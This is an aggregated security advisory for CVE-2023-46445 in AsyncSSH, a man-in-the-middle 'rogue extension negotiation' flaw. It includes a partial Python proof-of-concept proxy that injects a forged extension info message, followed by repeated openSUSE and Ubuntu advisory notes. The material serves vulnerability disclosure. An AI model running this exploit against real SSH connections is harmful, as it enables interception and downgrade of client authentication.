CVE-2023-46445

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

<details> <summary>AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)</summary>

 #!/usr/bin/python3
 import socket
 from threading import Thread
 from binascii import unhexlify
 
 #####################################################################################
 ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##
 ##                                                                                 ##
 ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##
 ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##
 ##                                                                                 ##
 ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##
 #####################################################################################
 
 # IP and port for the TCP proxy to bind to
 PROXY_IP = '127.0.0.1'
 PROXY_PORT = 2222
 
 # IP and port of the server
 SERVER_IP = '127.0.0.1'
 SERVER_PORT = 22
 
 # Length of the individual messages
 NEW_KEYS_LENGTH = 16
 SERVER_EXT_INFO_LENGTH = 676
 
 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15'
 def contains_newkeys(data):
     return newkeys_payload in data
 
 # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs
 rogue_ext_info = unhexlify('0000000C060700000000000000000000')
 def insert_rogue_ext_info(data):
     newkeys_index = data.index(newkeys_payload)
     # Insert rogue extension info and remove SSH_MSG_EXT_INFO
     return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]
 
 def forward_client_to_server(client_socket, server_socket):
     try:
         while True:
             client_data = client_socket.recv(4096)
             if len(client_data) == 0:
                 break
             server_socket.send(client_data)
     except ConnectionResetError:
         print("[!] Client connection has been reset. Continue closing sockets.")
     print("[!] forward_client_to_server thread ran out of data, closing sockets!")
     client_socket.close()
     server_socket.close()
 
 def forward_server_to_client(client_socket, server_socket):
     try:
         while True:
             server_data = server_socket.recv(4096)
             if contains_newkeys(server_data):
                 print("[+] SSH_MSG_NEWKEYS sent by server identified!")
                 if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
                     print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!")
                 while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:
…

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

An issue in AsyncSSH before 2.14.1 allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack, aka a "Rogue Extension Negotiation."

These are all security issues fixed in the python310-asyncssh-2.14.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the python313-asyncssh-2.24.0-1.1 package on the GA media of openSUSE Tumbleweed.

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)

USN-7108-1 fixed vulnerabilities in AysncSSH. This update provides the corresponding update for Ubuntu 18.04 LTS.

Original advisory details:

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the extension info message. An attacker able to intercept communications could possibly use this issue to downgrade the algorithm used for client authentication. (CVE-2023-46445)

Fabian Bäumer, Marcus Brinkmann, and Jörg Schwenk discovered that AsyncSSH did not properly handle the user authentication request message. An attacker could possibly use this issue to control the remote end of an SSH client session via packet injection/removal and shell emulation. (CVE-2023-46446)